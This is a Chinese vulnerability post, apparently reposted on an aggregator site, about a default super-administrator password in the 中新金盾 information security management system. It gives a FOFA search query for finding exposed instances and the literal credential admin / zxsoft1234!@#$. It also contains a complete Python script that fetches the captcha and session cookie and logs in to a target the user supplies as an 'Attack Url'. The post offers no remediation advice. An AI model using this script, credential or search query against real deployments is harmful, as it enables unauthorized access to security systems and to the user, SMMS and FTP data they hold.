中新金盾信息安全管理系统 默认管理员密码
发布于 2021-04-02 02:37
漏洞背景
近日 中新网络信息安全股份有限公司一个产品中新金盾信息安全管理系统存在弱口令,攻击者可以暴力获取超级管理密码,目前影响比较大
漏洞复现
祭出fofa大法,fofa语法如下
title="中新金盾信息安全"
老规矩随便点一个
根据相关文档 可以知道默认密码和账号 尝试登录
内容信息过于敏感 有用户信息及其中包括 SMMS与FTP等
漏洞poc
import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def bt():
print('+------------------------------------------')
print('+ \033[34mVersion: 中新金盾信息安全管理系统 默认超级管理员密码漏洞 \033[0m')
print('+ \033[36m使用格式: python3 xxx.py \033[0m')
print('+ \033[36mUrl>>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def poc(target_url):
hz_url = target_url + "?q=common/getcode"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=hz_url, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在获取验证码 {}?q=common/getcode ..... \033[0m".format(target_url))
response_data = response.headers['Set-Cookie']
check_code = re.findall(r'check_code=(.*?);', response_data)[0]
PHPSESSID = re.findall(r'PHPSESSID=(.*?);', response_data)[0]
print("\033[36m[o] 验证码:{}\n[o] PHPSESSID:{} \033[0m".format(check_code, PHPSESSID))
POC_1(target_url, check_code, PHPSESSID)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def POC_1(target_url, check_code, PHPSESSID):
hz_url = target_url + "?q=common/login"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie":"PHPSESSID={}; check_code={}".format(PHPSESSID, check_code),
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
data = "name=admin&password=zxsoft1234!%40%23%24&checkcode={}&doLoginSubmit=1".format(check_code)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=hz_url, headers=headers, data=data, verify=False, timeout=5)
if "1" in response.text and response.status_code == 200:
print("\033[36m[o] 目标 {} 存在默认管理员弱口令 admin / zxsoft1234!@#$ \033[0m".format(target_url))
else:
print("\033[31m[x] 目标 {} 不存在默认管理员弱口令 \033[0m".format(target_url))
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
bt()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
poc(target_url)
本文来自网络或网友投稿,如有侵犯您的权益,请发邮件至:aisoutu@outlook.com 我们将第一时间删除。
相关素材